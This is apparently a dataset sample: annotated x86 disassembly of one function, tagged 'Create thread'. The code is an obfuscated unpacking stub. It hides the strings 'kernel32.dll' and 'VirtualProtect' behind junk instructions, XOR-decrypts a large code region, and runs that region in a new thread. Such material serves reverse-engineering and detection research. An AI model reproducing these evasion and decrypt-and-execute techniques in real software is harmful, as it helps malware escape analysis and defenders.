Function at 0x45f3a6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor edx, 0xccccc5fe
xor edx, 0xccccc5fe
popfd
call fcn.0045f7be
pushfd
push 0x487ef31a
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
inc edx
dec edx
popfd
mov ebx, 0x61
pushfd
push 0x30f70575
add esp, 4
popfd
add bx, 0xa
pushfd
push 0xe4953725
add esp, 4
popfd
mov word [eax], bx
xchg esi, esi
sub bx, 6
push ebx
pop ebx
xchg edx, ebx
xchg ebx, edx
mov word [eax + 2], bx
mov esi, esi
add bx, 0xd
pushfd
xor eax, 0x82a2a784
xor eax, 0x82a2a784
popfd
mov word [eax + 4], bx
pushfd
xor ebx, 0x9b006a98
xor ebx, 0x9b006a98
popfd
pushfd
push 0xfa4ea70b
add esp, 4
popfd
sub bx, 4
pushfd
push 0x517c6c91
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
inc ebx
dec ebx
popfd
xchg edx, edx
sub bx, 9
xchg ecx, ecx
push eax
pop eax
mov word [eax + 8], bx
pushfd
push 0xb102ecf1
add esp, 4
popfd
add bx, 7
pushfd
xor edx, 0xd037cc9e
xor edx, 0xd037cc9e
popfd
mov word [eax + 0xa], bx
push edx
push esi
pop esi
pop edx
sub bx, 0x39
push eax
pop eax
xchg ecx, ebx
xchg ebx, ecx
mov word [eax + 0xc], bx
mov ebx, ebx
pushfd
push edi
add esp, 4
popfd
dec bx
xchg ecx, eax
xchg ecx, eax
mov word [eax + 0xe], bx
pushfd
push 0xa78cb7db
add esp, 4
popfd
push esi
pop esi
sub bx, 4
xchg edi, ebx
xchg ebx, edi
pushfd
xor eax, 0xc90ce9a5
xor eax, 0xc90ce9a5
popfd
mov word [eax + 0x10], bx
xchg edx, esi
xchg esi, edx
add bx, 0x36
pushfd
push 0x938b237
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push ecx
add esp, 4
popfd
push ecx
pop ecx
add bx, 8
pushfd
xor edx, 0x3dd29c74
xor edx, 0x3dd29c74
popfd
mov word [eax + 0x14], bx
xchg ecx, edi
xchg edi, ecx
mov word [eax + 0x16], bx
mov eax, eax
mov word [eax + 0x18], 0
pushfd
push ebx
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edi
pop edi
nop
mov dword [ebp - 0x10], eax
push eax
pop eax
lea eax, [ebp - 0xd8]
push edx
push ecx
pop ecx
pop edx
mov ecx, ecx
mov ebx, 0x61
push esi
pop esi
pushfd
push edx
add esp, 4
popfd
sub bl, 0xb
pushfd
inc edx
dec edx
popfd
xchg edi, edi
mov byte [eax], bl
pushfd
xor edi, 0x31fe4a8d
xor edi, 0x31fe4a8d
popfd
add bl, 0x13
pushfd
xor esi, 0x240aea66
xor esi, 0x240aea66
popfd
mov byte [eax + 1], bl
mov esi, esi
push esi
pop esi
add bl, 9
mov edx, edx
mov ebx, ebx
mov byte [eax + 2], bl
push ecx
pop ecx
push ebx
push eax
pop eax
pop ebx
add bl, 2
xchg ecx, ecx
mov byte [eax + 3], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
inc bl
xchg ecx, ecx
mov byte [eax + 4], bl
xchg ecx, eax
xchg ecx, eax
mov edi, edi
sub bl, 0x14
push edi
pop edi
pushfd
push 0xb1d1e981
add esp, 4
popfd
mov byte [eax + 5], bl
mov eax, eax
add bl, 0xb
pushfd
inc edx
dec edx
popfd
pushfd
xor ecx, 0xb2a55de4
xor ecx, 0xb2a55de4
popfd
mov byte [eax + 6], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x1c
mov eax, eax
push eax
push esi
pop esi
pop eax
mov byte [eax + 7], bl
xchg esi, esi
add bl, 0x22
push ebx
pop ebx
pushfd
push 0x872689a8
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
xor eax, 0x9970166c
xor eax, 0x9970166c
popfd
sub bl, 3
xchg edx, edx
mov byte [eax + 9], bl
push esi
push ebx
pop ebx
pop esi
pushfd
inc eax
dec eax
popfd
add bl, 5
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0xa], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 0xf
push ebx
pop ebx
mov byte [eax + 0xb], bl
mov edi, edi
sub bl, 2
pushfd
xor edi, 0x373e5bf5
xor edi, 0x373e5bf5
popfd
push esi
pop esi
mov byte [eax + 0xc], bl
push ebx
pop ebx
add bl, 0x11
push eax
push edx
pop edx
pop eax
pushfd
xor edi, 0x1d82180
xor edi, 0x1d82180
popfd
mov byte [eax + 0xd], bl
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0xe], 0
mov eax, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg ebx, eax
xchg ebx, eax
pushfd
inc ecx
dec ecx
popfd
mov dword [ebp - 0xc], eax
pushfd
inc edi
dec edi
popfd
mov edx, edx
lea eax, [ebp - 8]
pushfd
push 0x87ed2f1f
add esp, 4
popfd
pushfd
xor edi, 0xc4cd154d
xor edi, 0xc4cd154d
popfd
push eax
push 4
push 0x3ed10
push entry0
call dword [ebp - 0xc]
xchg ebx, eax
xchg ebx, eax
pushfd
xor eax, 0x6fd66b45
xor eax, 0x6fd66b45
popfd
mov edi, entry0
xchg ecx, ebx
xchg ebx, ecx
pushfd
push 0x19cabc2c
add esp, 4
popfd
mov esi, 0x40100e
push ecx
push esi
pop esi
pop ecx
pushfd
inc ecx
dec ecx
popfd
mov ecx, 0x3ed10
pushfd
push 0xf40ffaac
add esp, 4
popfd
mov edx, 0x7f34a816
pushfd
xor ecx, 0x2b5ad723
xor ecx, 0x2b5ad723
popfd
push eax
pop eax
mov ebx, 0xf6a5b8c
pushfd
push ebx
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
cld
xchg ecx, ecx
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
mov ecx, ecx
stosb byte es:[edi], al
xchg ebx, ebx
ror edx, 5
nop
imul edx, edx, 7
xchg edx, edx
test ebx, 1
mov esi, esi
je 0x45f719
nop
add esi, 1
xchg esi, esi
ror ebx, 1
mov eax, eax
dec ecx
mov esi, esi
test ecx, ecx
xchg esi, esi
jne 0x45f6f4
pushfd
inc ebx
dec ebx
popfd
nop
lea eax, [ebp - 8]
xchg esi, eax
xchg esi, eax
xchg ebx, ebx
push eax
push 0x20
push 0x3ed10
push entry0
call dword [ebp - 0xc]
pushfd
inc esi
dec esi
popfd
push ebx
pop ebx
lea eax, [ebp - 4]
xchg edi, ecx
xchg ecx, edi
pushfd
push ebx
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov ebx, ebx
pushfd
push 0x6acfd746
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push edx
add esp, 4
popfd
pushfd
xor ecx, 0x2dd1390b
xor ecx, 0x2dd1390b
popfd
jmp 0x45f76b